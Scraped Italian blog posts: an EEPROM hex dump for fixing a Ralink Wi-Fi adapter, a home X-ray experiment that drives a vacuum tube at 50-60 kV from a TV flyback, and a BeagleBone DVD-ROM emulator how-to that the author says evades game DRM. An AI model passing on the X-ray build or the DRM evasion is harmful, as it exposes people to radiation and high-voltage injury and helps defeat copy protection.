In questo modo il driver al collegamento di una periferica rt2800usb andrà a cercare un file in <span style="font-family: 'Courier New', Courier, monospace;">/lib/firmware/rt2800usb_eeprom.bin </span><span style="font-family: inherit;">contenente la EEPROM da utilizzare.<br />Purtroppo ci sono delle limitazioni, ad esempio non si possono usare più ralink 2800usb con eeprom danneggiata nello stesso sistema.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Allego di seguito la eeprom della mia ALFA , dovete assolutamente modificare il mac address con il vostro , oppure metterne uno casuale ( è consigliabile lasciare inalterati i primi 3 byte )<br /></span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0000 | 70 27 04 01 00 C0 CA 32 | p'...ÀÊ2</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0008 | B7 FE FF FF FF FF FF FF | ·Dÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0010 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0018 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0020 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0028 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0030 | FF FF FF FF 12 04 20 00 | ÿÿÿÿ.. .</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0038 | FF FF 15 01 FF FF FF FF | ÿÿ..ÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0040 | FF FF FF FF 09 04 00 00 | ÿÿÿÿ....</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0048 | 00 04 00 00 00 03 FF FF | ......ÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0050 | FF FF 02 02 02 02 02 03 | ÿÿ......</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0058 | 03 03 03 03 03 03 03 03 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0060 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0068 | 00 00 00 00 00 00 FF FF | ......ÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0070 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0078 | 06 06 06 06 06 06 06 06 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0080 | 06 06 06 06 05 05 05 05 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0088 | 05 05 05 05 05 05 06 06 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0090 | 06 06 06 06 06 06 06 06 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0098 | 06 06 07 FF FF FF FF FF | ...ÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00A0 | FF FF FF FF FF FF 00 00 | ÿÿÿÿÿÿ..</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00A8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00B0 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00B8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00C0 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00C8 | 00 FF FF FF FF FF FF FF | .ÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00D0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00D8 | FF FF FF FF FF FF 88 88 | ÿÿÿÿÿÿ..</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00E0 | 99 AA 88 66 AA AA 88 66 | .ª.fªª.f</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00E8 | AA AA 88 66 AA AA 88 66 | ªª.fªª.f</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00F0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:00F8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0100 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0108 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0110 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0118 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0120 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0128 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0130 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0138 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0140 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0148 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0150 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0158 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0160 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0168 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0170 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0178 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0180 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0188 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0190 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0198 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01A0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01A8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01B0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01B8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01C0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01C8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01D0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01D8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01E0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01E8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01F0 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:01F8 | FF FF FF FF FF FF FF FF | ÿÿÿÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0200 | 12 01 00 02 00 00 00 40 | .......@</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0208 | 8F 14 70 27 01 01 01 02 | ..p'....</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0210 | 03 01 0A 06 00 02 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0218 | 00 40 01 00 09 02 35 00 | .@....5.</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0220 | 01 01 00 80 E1 09 04 00 | ....á...</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0228 | 00 07 FF FF FF 05 07 05 | ..ÿÿÿ...</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0230 | 81 02 00 02 00 07 05 01 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0238 | 02 00 02 00 07 05 02 02 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0240 | 00 02 00 07 05 03 02 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0248 | 02 00 07 05 04 02 00 02 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0250 | 00 07 05 05 02 00 02 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0258 | 07 05 06 02 00 02 00 B8 | .......¸</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0260 | 11 7D 08 0D 00 00 00 00 | .}......</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0268 | 54 69 7A 69 61 6E 6F 42 | TizianoB</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0270 | 61 63 6F 63 63 6F 48 41 | acoccoHA</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0278 | 43 4B 20 20 00 00 00 00 | CK ....</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0280 | 12 01 00 02 00 00 00 40 | .......@</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0288 | 8F 14 70 28 01 00 06 07 | ..p(....</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0290 | 08 01 0A 06 00 02 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0298 | 00 40 01 00 09 02 20 00 | .@.... .</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02A0 | 01 01 00 80 E1 09 04 00 | ....á...</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02A8 | 00 02 08 06 50 0A 07 05 | ....P...</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02B0 | 81 02 00 02 00 07 05 01 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02B8 | 02 00 02 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02C0 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02C8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02D0 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02D8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02E0 | 00 00 3F 00 00 00 00 00 | ..?.....</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02E8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02F0 | 00 60 70 A2 FF A2 60 70 | .`p¢ÿ¢`p</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:02F8 | A2 FF A2 FF FF FF FF FF | ¢ÿ¢ÿÿÿÿÿ</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0300 | 04 03 09 04 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0308 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0310 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0318 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0320 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0328 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0330 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0338 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0340 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0348 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0350 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0358 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0360 | 0E 03 52 00 61 00 6C 00 | ..R.a.l.</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0368 | 69 00 6E 00 6B 00 00 00 | i.n.k...</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0370 | 1E 03 38 00 30 00 32 00 | ..8.0.2.</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0378 | 2E 00 31 00 31 00 20 00 | ..1.1. .</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0380 | 6E 00 20 00 57 00 4C 00 | n. .W.L.</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0388 | 41 00 4E 00 00 00 00 00 | A.N.....</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0390 | 04 03 09 04 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:0398 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03A0 | 00 00 08 03 31 00 2E 00 | ....1...</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03A8 | 30 00 00 00 00 00 00 00 | 0.......</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03B0 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03B8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03C0 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03C8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03D0 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03D8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03E0 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03E8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<span style="font-family: Courier New, Courier, monospace;">0000:03F0 | 00 00 00 00 00 00 00 00 | ........</span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">0000:03F8 | 00 00 00 00 00 00 00 00 | ........</span><br />
<div>
<br /></div>
<div>
<a href="https://docs.google.com/file/d/0B5uKF4o3fPSWSGdUa2FOdDk2T2s/edit?usp=sharing" target="_blank">https://docs.google.com/file/d/0B5uKF4o3fPSWSGdUa2FOdDk2T2s/edit?usp=sharing</a></div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-81578434134823511662013-09-03T09:10:00.000-07:002013-09-03T09:13:08.780-07:00[FISICA] Produrre raggi X in casa senza ricorrere a componenti costosi<h2>
Introduzione</h2>
<div>
Quello che illustrerò di seguito è come produrre raggi X in casa utilizzando componenti facilmente reperibili, tuttavia i raggi X prodotti, non sono assolutamente sufficienti per fare una lastra, è utile questo esperimento solo per fini didattici.</div>
<h2>
Pericoli</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdg9t9wKTYioOplZM89yYT8mCLDeudNrv3ZybYQZSdcgRQQUAkF3lBzhFBtuEsWuw8zlsLMso4fvq2C3QOF1ioO0Ui5tSeY6y7Is2YyHoMylq5qUHpXAfJ3Nt2nOT8MniRUx2W87okIRmg/s1600/xra5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="293" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdg9t9wKTYioOplZM89yYT8mCLDeudNrv3ZybYQZSdcgRQQUAkF3lBzhFBtuEsWuw8zlsLMso4fvq2C3QOF1ioO0Ui5tSeY6y7Is2YyHoMylq5qUHpXAfJ3Nt2nOT8MniRUx2W87okIRmg/s320/xra5.png" width="320" /></a></div>
<div>
<br /></div>
<div>
I raggi X, in modo simile ai raggi ultravioletti nelle ore di punta, possono creare ustioni o nel peggior dei casi tumori, la differenza sostanziale è che i raggi X spesso vanno più in profondità , quindi le eventuali ustioni sono molto più gravi.</div>
<div>
Utilizzando una valvola termoionica con accoppiamento capacitivo sul catodo, è difficile produrre dosi pericolose, tuttavia è altamente consigliabile non trovarsi nella stanza quando l'apparecchiatura è attiva.</div>
<h2>
Funzionamento</h2>
<div>
Per produrre i raggi X è necessario ottenere una collisione di elettroni sufficientemente accelerati su un bersaglio metallico.</div>
<div>
Gli elettroni possono essere facilmente accelerati da una differenza di potenziale applicata ai 2 estremi di una valvola termoionica.</div>
<div>
Viene usata una valvola termoionica, perché è il tubo con vuoto spinto più facilmente reperibile e più economico.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZ3nyXBPNp_uQ6ynfbusMaim62PQl_jIUyh60eSLIgr1BsYVgy7DMyxR3AvmImZyEphNAOcyFdRCMrafaMB5EFE153FBExjlZKsdG1-OVj3WZduOmwIz12Pj-PB9dVYCBl48w4BTyuD_Hu/s1600/xray1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZ3nyXBPNp_uQ6ynfbusMaim62PQl_jIUyh60eSLIgr1BsYVgy7DMyxR3AvmImZyEphNAOcyFdRCMrafaMB5EFE153FBExjlZKsdG1-OVj3WZduOmwIz12Pj-PB9dVYCBl48w4BTyuD_Hu/s320/xray1.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
Nella figura in alto:</div>
<div class="separator" style="clear: both; text-align: center;">
1: Valvola termoionica</div>
<div class="separator" style="clear: both; text-align: center;">
2: Sonda Beta+Gamma del contatore geiger SV-500 schermata e collegata a terra</div>
<div class="separator" style="clear: both; text-align: center;">
3:Webcam USB con ottica rimossa, anche essa schermata e collegata a terra</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Il cavo rosa è il catodo, ed è collegato tramite un pezzo di carta stagnola sulla parte superiore della valvola, in questo modo gli elettroni provenienti dal catodo andranno a collidere sui vari elementi metallici della valvola collegati all'anodo e quindi produrranno raggi X</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhravaq-1AET8I_-p03i9ZLh3hlWnU-JK5R-KDzVEIHDkF7QNekUt4aI6jnlKhrCVP54Zttbm23o54qKHMQI_p3YWx46DaDwi3rPa5vaDpAQUvgwt3NX6GcorKsDQMaWNOoNAoU2IQfrwjH/s1600/xray2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhravaq-1AET8I_-p03i9ZLh3hlWnU-JK5R-KDzVEIHDkF7QNekUt4aI6jnlKhrCVP54Zttbm23o54qKHMQI_p3YWx46DaDwi3rPa5vaDpAQUvgwt3NX6GcorKsDQMaWNOoNAoU2IQfrwjH/s320/xray2.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
1: Trasformatore di riga TV </div>
<div class="separator" style="clear: both; text-align: center;">
2: Trasformatore avvolto su nucleo di un altro trasformatore di riga , serve ad alzare il voltaggio dell'inverter ZVS</div>
<div class="separator" style="clear: both; text-align: center;">
3:Condensatore necessario a limitare la corrente per evitare di rompere il vetro del tubo termoionico</div>
<div class="separator" style="clear: both; text-align: center;">
4:Driver ZVS di Mazzilli</div>
<div class="separator" style="clear: both; text-align: center;">
5: Collegamento a terra</div>
<div class="separator" style="clear: both; text-align: left;">
Lo scopo di questo circuito è di fornire una tensione di almeno 50-60000 volt per accelerare sufficientemente gli elettroni all'interno del tubo</div>
<div class="separator" style="clear: both; text-align: left;">
È inutile riportare il numero di giri dei vari avvolgimenti in quanto andranno trovati in ogni caso sperimentalmente.</div>
<div class="separator" style="clear: both; text-align: left;">
Questo è quanto basta per produrre raggi X, per verificare che vengano prodotti viene usato un contatore geiger con una sonda sensibile ai raggi beta la quale deve essere <b>assolutamente schermata e collegata a terra</b>.</div>
<div class="separator" style="clear: both; text-align: left;">
Una volta realizzato questo esperimento si possono condurre vari esperimenti come ad esempio testare la penetrazione dei raggi X nei vari materiali, oppure sperimentare con altri tipi di rivelatori come ho fatto io, provando con il CCD di una webcam.</div>
<div class="separator" style="clear: both; text-align: left;">
Nel mio canale youtube ( <a href="http://youtube.com/lo9765" target="_blank">http://youtube.com/lo9765</a> ) ho caricato un video dove viene mostrato il tutto in funzione e a breve ne verrà caricato un altro dove viene mostrato l'uso del sensore CCD come rivelatore di radiazioni.</div>
<div class="separator" style="clear: both; text-align: left;">
Anche nel video già presente alla terza volta che alimento il tutto è possibile notare in alto a destra un puntino bianco su un fotogramma il quale indica che un fotone di raggi X ha colpito il sensore CCD del cellulare.</div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-15829107510327116012013-07-12T04:27:00.000-07:002013-07-12T04:27:07.816-07:00How To: Emulatore DVD-ROM Hardware USB<h2>
Cosa è un emulatore DVD-ROM hardware</h2>
<div>
<span style="font-family: inherit;">Un</span> emulatore DVD-ROM hardware è un dispositivo che svolge un compito simile a quello di programmi come Daemon Tools o un device loop su linux, ma lo svolge presentandosi come un vero e proprio drive USB dvd-rom.</div>
<div>
Le potenzialità di ciò sono che non può essere beccato dai DRM dei videogiochi e permette di fare il boot dal BIOS di qualsiasi ISO senza usare programmi come unetbootin.</div>
<h2>
Occorrente</h2>
<div>
<ul>
<li>BeagleBone Black</li>
<li>Una o più macchine con Linux possibilmente decenti ( se si intende ricompilare da se il driver )</li>
<li>Un minimo di praticità nell'uso di Linux, e nella compilazione di kernel/drivers</li>
</ul>
La beagleboneblack esce attualmente con Linux 3.8.13 , per utilizzarla in questo modo, onde evitare problemi con BIOS poco tolleranti, va eliminato il driver g_multi.ko</div>
<div>
Una volta eliminato quel driver e riavviata la board è possibile scaricare il driver per il kernel precompilato della beaglebone qui <a href="https://docs.google.com/file/d/0B5uKF4o3fPSWYU5zRlpFSDczT0k/edit?usp=sharing" target="_blank">g_mass_storage.ko</a> .</div>
<div>
Per utilizzare il driver è sufficiente eseguire il comando come root:</div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#insmod g_mass_storage.ko file=/percorsoimmagineiso cdrom=1 ro=1</span></div>
<div>
<br /></div>
<div>
<span style="font-family: inherit;">Una volta eseguito il comando dopo pochi secondi dovrebbe comparire sul PC al quale è collegata la beaglebone un lettore DVD con dentro il "dischetto"</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<h2>
<span style="font-family: inherit;">Kernel non standard e sorgenti delle modifiche</span></h2>
<div>
<span style="font-family: inherit;">Per poter utilizzare immagini ISO > 2.4 GB ho dovuto applicare delle modifiche al driver del gadget mass storage che riporto di seguito:</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">commit f6037e02d14c57531efc14074aa59b0054227f8c</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Author: Tiziano Bacocco <tiziano@localhost.localdomain></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Date: Fri Jul 12 13:04:43 2013 +0200</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> DVD-ROM Patch</span></div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">diff --git a/drivers/usb/gadget/f_mass_storage.c b/drivers/usb/gadget/f_mass_storage.c</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">index 5d027b3..cb87b4a 100644</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">--- a/drivers/usb/gadget/f_mass_storage.c</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+++ b/drivers/usb/gadget/f_mass_storage.c</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -1192,6 +1192,7 @@ static int do_read_capacity(struct fsg_common *common, struct fsg_buffhd *bh)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>return -EINVAL;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>printk("readcap: %ld\n",curlun->num_sectors-1);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>put_unaligned_be32(curlun->num_sectors - 1, &buf[0]);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>/* Max logical block */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>put_unaligned_be32(curlun->blksize, &buf[4]);/* Block length */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">@@ -1220,6 +1221,63 @@ static int do_read_header(struct fsg_common *common, struct fsg_buffhd *bh)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> <span class="Apple-tab-span" style="white-space: pre;"> </span>return 8;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+static int do_read_disc_information(struct fsg_common* common, struct fsg_buffhd * bh)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>struct fsg_lun<span class="Apple-tab-span" style="white-space: pre;"> </span>*curlun = common->curlun;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>if (common->cmnd[1] & ~0x02) {<span class="Apple-tab-span" style="white-space: pre;"> </span>/* Mask away MSF */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>curlun->sense_data = SS_INVALID_FIELD_IN_CDB;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>return -EINVAL;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>u8* outbuf = (u8*)bh->buf;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>memset(outbuf,0,34);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>outbuf[1] = 32;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>outbuf[2] = 0xe; /* last session complete, disc finalized */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">+<span class="Apple-tab-span" style="white-space: pre;"> </span>outbuf[3] = 1; /* first track on disc */</span></div>
<div>
